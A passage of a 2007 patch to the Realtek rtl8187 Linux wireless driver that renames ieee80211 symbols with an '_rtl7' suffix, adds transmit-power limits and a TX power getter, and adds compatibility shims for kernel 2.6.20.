ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_txpower/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_93cx6.c 2007-02-26 03:05:03.241356403 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-02-26 03:05:07.761424588 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_txpower/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.c 2007-02-26 03:05:03.311357459 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-02-26 03:05:07.811425342 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-02-26 03:05:03.371358364 +0100 @@ -129,7 +129,7 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 mode = priv->ieee80211->mode; @@ -153,7 +153,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -280,7 +280,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -396,7 +396,7 @@ #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int GainIdx; // int GainSetting; @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; @@ -489,9 +492,9 @@ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225z2_SetTXPowerLevel(dev, ch); @@ -509,7 +512,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -581,7 +584,7 @@ #endif void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; @@ -958,7 +961,7 @@ void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->ieee80211->mode == IEEE_A) { diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-02-26 03:05:03.371358364 +0100 @@ -21,6 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 @@ -32,9 +33,9 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -46,7 +47,7 @@ int *parms = (int *)b; int bi = parms[0]; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); @@ -62,7 +63,7 @@ static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; priv->ieee80211->force_associate = (parms[0] > 0); @@ -75,9 +76,9 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } @@ -86,8 +87,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -97,27 +98,83 @@ union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); + + up(&priv->wx_sem); + + return ret; +} + +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: up(&priv->wx_sem); return ret; } +#endif static int r8180_wx_set_rawtx(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); + ret = ieee80211_wx_set_rawtx_rtl7(priv->ieee80211, info, wrqu, extra); up(&priv->wx_sem); @@ -129,7 +186,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; @@ -157,12 +214,12 @@ static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); rtl8187_set_rxconf(dev); @@ -176,7 +233,7 @@ union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -247,7 +304,7 @@ // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { @@ -267,14 +324,14 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -286,13 +343,13 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); @@ -304,13 +361,13 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -322,11 +379,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); @@ -338,11 +395,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); return ret; @@ -352,8 +409,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } @@ -361,7 +418,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -381,7 +438,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,11 +454,11 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); up(&priv->wx_sem); return ret; @@ -413,9 +470,9 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -423,22 +480,22 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } static int r8180_wx_set_enc(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); up(&priv->wx_sem); return ret; @@ -448,7 +505,7 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; @@ -463,7 +520,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; down(&priv->wx_sem); @@ -516,7 +573,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->retry.disabled = 0; /* can't be disabled */ @@ -542,7 +599,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; @@ -555,7 +612,7 @@ union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short err = 0; down(&priv->wx_sem); @@ -624,7 +681,7 @@ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ @@ -666,7 +723,7 @@ #if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-02-26 03:05:03.381358515 +0100 @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -98,6 +99,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -158,11 +163,10 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -174,7 +178,7 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -186,7 +190,7 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -198,7 +202,7 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -211,7 +215,7 @@ u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -223,7 +227,7 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -236,7 +240,7 @@ u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -249,7 +253,7 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -271,7 +275,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,7 +293,7 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; int i,n; @@ -319,7 +328,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -339,7 +348,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -391,7 +400,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -407,13 +416,14 @@ return len; } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -430,7 +440,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,7 +457,7 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dir_dev = create_proc_entry(dev->name, S_IFDIR | 